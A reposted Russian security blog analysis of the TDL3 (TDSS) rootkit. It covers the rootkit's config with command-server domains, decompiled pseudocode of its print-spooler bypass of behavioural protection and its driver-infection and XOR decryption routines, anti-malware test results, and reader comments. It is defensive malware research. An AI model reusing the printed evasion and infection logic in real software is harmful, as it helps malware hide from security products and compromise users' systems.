17.05.2010

TDSS Rootkit: Дальнейшее развитие и текущее состояние

image

В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.

Дмитрий
Источник: http://esagelab.ru/blog/2010/04/29/30/

Про руткит TDSS – а именно, про ту его версию, которая также известна как TDL3 – написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):

TDL3 – Why so serious? Let’s put a smile on that face…
От BackDoor.Tdss.565 и выше (aka TDL3)

В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.

Инсталлятор

Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal Report).

Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:

[main]
quote=You people voted for Hubert Humphrey, and you killed Jesus
version=3.273
botid=7a91eb86-a6be-4db5-8694-0337dad2c75d
affid=20592
subid=0
installdate=22.4.2010 23:42:43
builddate=20.4.2010 16:17:53
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/
wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http
version=3.741

Как видно, версия руткита – 3.273, последняя на данный момент.
С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции AddPrintProcessor, что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно – AddPrintProvidor, вызов которой разработчики проактивных защит контролировать не догадались (sic!).

BOOL AddPrintProvidor(
    LPTSTR pName,         // reserved, must be NULL
    DWORD  Level,         // provider information level
                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)
    LPBYTE pProviderInfo  // provider information buffer
);

typedef struct _PROVIDOR_INFO_1
{
    LPTSTR pName;
    LPTSTR pEnvironment;
    LPTSTR pDLLName; 

} PROVIDOR_INFO_1,
*PPROVIDOR_INFO_1;

Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:

 1 // генерация временного имени, под которым будет сохранена dll библиотека,
 2 // загружаемая в контекст доверенного процесса функцией AddPrintProvidor()
 3 if (GetTempFileNameW(&PathName, 0, 0, &ExistingFileName))
 4 {
 5     // сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,
 6     // в котором выставленны соотвествующие значения флагов PE заголовка.
 7     if (MoveFileExW(&NewFileName, &ExistingFileName, 9u))
 8     {
 9         pDLLName = &ExistingFileName;
10         *(_DWORD *)pProvidorInfo = L"tdl";
11         pEnvironment = 0;
12         AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
13         if (GetLastError() == 1722 /* The RPC server is unavailable */)
14         {
15             // Служба диспетчера печати не запущена
16             hScm = OpenSCManagerA(0, 0, 1u);
17             hService = OpenServiceA(hScm, "spooler", 0x14u);
18             if (hService)
19             {
20                 // запускаем службу
21                 if (StartServiceA(hService, 0, 0))
22                 {
23                     SERVICE_STATUS_PROCESS Buffer;
24                     memset(&Buffer, 0, 0x1Cu);
25                     do
26                     {
27                         // ... и дожидаемся окончания её запуска
28                         if (!QueryServiceStatusEx(hService, 0, &Buffer, 0x24u, &pcbBytesNeeded))
29                             break;
30                         Sleep(dwMilliseconds);
31                     }
32                     while (Buffer.dwCurrentState != 4 /* SERVICE_RUNNING */);
33                     pDLLName = &ExistingFileName;
34                     *(_DWORD *)pProvidorInfo = L"tdl";
35                     pEnvironment = 0;
36                     AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
37                 }
38                 CloseServiceHandle(hService);
39             }
40         }
41 
42         // ...
43         // print providor и dll библиотека больше не нужны, удаляем их
44         DeletePrintProvidorW(0, 0, L"tdl");
45         DeleteFileW(&ExistingFileName);
46 
47         // ...
48     }
49 }

В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.

Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как IOCTL_SCSI_PASS_THROUGH. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.

Заражение драйвера

Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).

Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости MS10-015: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие, неработоспособную систему (Windows blue screen may be result of rootkit infection).

Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.

В третьих, для установки нотификатора на создание объектов типа «Control Device Object» в новой версии используется функция IoRegisterPlugPlayNotification, вместо функции IoRegisterFsRegistrationChange, используемой в более ранних версиях:

NTSTATUS
IoRegisterPlugPlayNotification(
    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,
    IN ULONG EventCategoryFlags,
    IN PVOID EventCategoryData OPTIONAL,
    IN PDRIVER_OBJECT DriverObject,
    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,
    IN PVOID Context,
    OUT PVOID *NotificationEntry
);

typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (
    IN PVOID NotificationStructure,
    IN PVOID Context
);

Рассмотрим псевдокод первой части кода заражения системного драйвера:

1 NTSTATUS __stdcall InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
 2 {
 3     // получаем указатель на секцию ресурсов зараженного драйвера
 4     rsrc = (int)((char *)DriverObject->DriverStart +
 5            *(_DWORD *)(DriverObject->DriverStart +
 6            *((_DWORD *)DriverObject->DriverStart + 15) + 136));
 7 
 8     // ищем адрес загрузки ядра
 9     __asm { sidt fword ptr [ebp+var_10] }
10     kernel_base = *(_DWORD *)(*(_DWORD *)&v28[2] + 512) & 0xF000 |
11                   (*(_WORD *)(*(_DWORD *)&v28[2] + 518) << 16);
12     for (i = kernel_base; *(_WORD *)kernel_base != 'MZ'; i = kernel_base)
13         kernel_base = (kernel_base - 2) & 0xFFFFF000;
14 
15     // получаем адрес функции nt!ExAllocatePool()
16     __ExAllocatePool = _getapi(kernel_base, 0xDE45E96Cu);
17     // выделяем память под структуру, в которой будут хранится
18     // значения различных ключевых переменных, а так же
19     // прочитанное с диска тело руткита
20     context = __ExAllocatePool(0, 0x69A60u);
21     memset(context, 0, 0x69A60u);
22     *(_DWORD *)(context + 1968) = kernel_base;
23     *(_DWORD *)(context + 352) = DriverObject;
24     memcpy((void *)(context + 1972), rsrc, 0x395u);
25 
26     // вызов оригинальной точки входа зараженного драйвера
27     status = ((char *)DriverObject->DriverStart + *(_DWORD *)(rsrc + 8)))(
28         DriverObject, RegistryPath);
29 
30     // расшифровка второй части шеллкода, которая выполняет роль
31     // обработчика PnP событий, и читает с диска тело руткита
32     k = *(_BYTE *)(rsrc + 16);
33     code_len = 433;
34     code_ptr = context + 2456;
35     do
36     {
37         *(_BYTE *)code_ptr++ ^= k++;
38         --code_len;
39     }
40     while (code_len);
41 
42     // установка нотификатора для обработки PnP событий
43     // EventCategory = EventCategoryTargetDeviceChange
44     __IoRegisterPlugPlayNotification = _getapi(kernel_base, 0x48399F96u);
45     __IoRegisterPlugPlayNotification(2, 1, &v17, DriverObject, context + 2456,
46         context, context + 348);
47 
48     return status;
49 }

Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем «tdl».

Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой «tdl» в качестве ключа используется инкрементальный XOR:

1 // функция расшифровки сектора (его размер равен 1024-м байтам)
2 void xor_encrypt(unsigned char *buf, int buf_len)
3 {
4     unsigned char key = 0x54;
5     for (int i = 0; i < buf_len; i++)
6     {
7         *(buf + i) ^= key++;
8     }
9 }

Формат самой файловой системы и логика её хранения на диске не изменились.

TDSS против антивирусных продуктов

В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.

Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).

На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек:

Название и версия программы

Обнаружение по поведению

Обнаружение активнго заражения

Лечение активного заражения

Dr.Web Security Space 6.00.0.04080

N/A

Yes

Yes

Kaspersky TDSSKiller 2.2.8.1

N/A

Обнаружен неправильный файл

No

Norman TDSS Cleaner 1.9.1.0

N/A

Yes

Yes

Vba32 AntiRootkit 3.12.4.0

N/A

No

No

HitmanPro 3.5.5.98

N/A

No

No

MalwareBytes Anti-Malware 1.45

N/A

No

No

RootRepeal 2.0.0 Beta

N/A

Только в памяти (без имени зараженного файла)

No

Comodo Internet Security 3.14

No

N/A

N/A

Kaspersky Internet Security 2010 (9.0.0.736)

No

Только в памяти (без имени зараженного файла)

No

ZoneAlarm Internet Security Suite 9.1.507.0

No

N/A

N/A

Outpost Firewall Pro 2009 (3063.452.726.367)

No

N/A

N/A

Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:

00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!
00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1
00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ...
00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys

Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:

STEALTH CODE
-------------------
System 0x816f78b4  -  Hidden Code
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]
...
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]

С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.

С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент входит в число 10-ти самых крупных.

TDSS Remover

Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты TDSS Remover:

Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:

Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:

C:\> TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin
Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...
0x00000001 0x000001ac config.ini
0x00000002 0x00005f8c tdl
0x0000001b 0x00000360 rsrc.dat
0x0000001c 0x0000007f bckfg.tmp
0x0000001d 0x00005000 tdlcmd.dll
Press any key to quit...
или введите имя

CAPTCHA
Страницы: 1  2  
Fixxxer®
17-05-2010 17:04:11
Ну ладно, я понимаю - копипастинг статей нынче моден, но тогда хотя бы актуализируйте обзор! 1. VBA32 Antirootkit нынче 3.12.5.1. Но и старая версия видела руткит, но не удаляла. 2. Kaspersky TDSS Killer нынче 2.3.0.0 и прекрасно всё удаляет. 3. Dr.Web Security Space 6.00.0.04080 и видит и лечит? Видит - ладно, а лечит? Вы с CureIt! не спутали? И где информация про баги с криптованными той же TrueCrypt разделами и несовместимость с Primary SATA? 4. HitmanPro тоже видит и лечит (лично не проверял, в отличии от других утверждений, но склонен верить человеку, который это сделал). 5. Зачем было вначале заявлено про в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).и в итоге информации по ним - ёк? Зато подробно расписана утилита от eSage. Давайте будем объективны, а главное - ЧЕСТНЫ.
0 |
17-05-2010 17:08:55
Чёрт, не заметил, что писал под гостем, а у меня оказывается здесь и учётка имеется В продолжение - безусловно, модель руткита остался на версии 3.273, и это действительно последняя версия вируса с точки зрения Kernel-Mode части. Но справделивости ради замечу, что подгружаемая в User-Mode библиотека (та самая, что сидит в криптованном разделе), уже имеет версию 3.75, а не 3.741 как в обзоре. Безусловно, это мало что меняет - но к слову.
0 |
17-05-2010 20:03:01
Данная заметка является репостом из блога компании eSage Lab. Ваши претензии по поводу версий тестируемого ПО не обоснованны, т.к. на момент проведения исследований (29.04.2010) я использовал последние из доступных.
0 |
18-05-2010 00:54:43
Сейчас какая дата? Вверху страницы я вижу 17 мая 2010 года. Запись в блогедатируется 29 апреля. Прошло три недели - очевидно, что должно было что-то измениться! И если мы делаем репост, то надо либо обновить исследования, либо убедиться, что ситуация не изменилась. За три недели нельзя было прояснить ситуацию по Comodo, Outpost и ZoneAlarm? И даже по той дате: поясните расхождение результатов исследования у Вас и у АМ. Рекомендую также навестить закрытую (но регистрация открыта) ветку тут. Повторяю: я тоже очень тщательно отслеживаю динамику ситуации с TDL3 и поверьте - мои замечания обоснованы. С большим уважением отношусь к Вашей команде и Алисе Шевченко лично, но тем более нельзя допускать подобных непрофессиональных ошибок.
0 |
18-05-2010 02:50:51
По поводу outdated информации - претензии к Security Lab-у, т.к. репост является ихней инициативой. АМ не читаю, но в моих исследованиях ошибок допущено не было. Если вас беспокоит расхождение результатов - напишите мне на e-mail (d_olex@esagelab.com) возможно, я смогу предоставить вам виртуальную машину и сампл, на которых проводилось тестирование.
0 |
18-05-2010 20:20:39
ОК, перенесёмся в e-mail. Кстати, там мы уже когда-то общались
0 |
18-05-2010 20:24:27
... но есть проблемы: d_olex@esagelab.com SMTP error from remote mail server after RCPT TO:<d_olex@esagelab.com>: host mail.esagelab.com [87.106.150.133]: 550 5.1.1 <d_olex@esagelab.com>: Recipient address rejected: User unknown in virtual mailbox table
0 |
18-05-2010 20:26:17
Давайте так: отпишитесь мне на fox_kgs@objectmail.com, а я Вам сразу же отвечу.
0 |
18-05-2010 11:00:29
...на момент вашего исследования последняя версия Comodo Internet Security была уже Version 4.0.141842.828: 12 April, 2010
0 |
-
17-05-2010 20:47:00
Стиль кодирования говняненький, пионерщиной отдает.
0 |
17-05-2010 21:37:58
Это код, который был декомпилирован с помощью HexRays, а не copy-paste из исходника.
0 |
Minix3_Dev
18-05-2010 10:52:35
Нормальная статья. На 4+.
0 |
Гостъ
18-05-2010 15:24:04
Скриншоты в пэинте вырезал чтоли))) вроде есть проги для этого
0 |
Константин
18-05-2010 23:23:43
Могу сильно ошибаться, так что поправьте, если я не прав. Процесс, вызывающий функцию AddPrintProcessor должен иметь привилегию SeLoadDriverPrivilege. Эта привилегия по умолчанию предоставлена группе «Администраторы» и «Опытные пользователи» Получается, что первоначальное внедрение кода возможно только при работе под правами указанных групп. Так?
0 |
Страницы: 1  2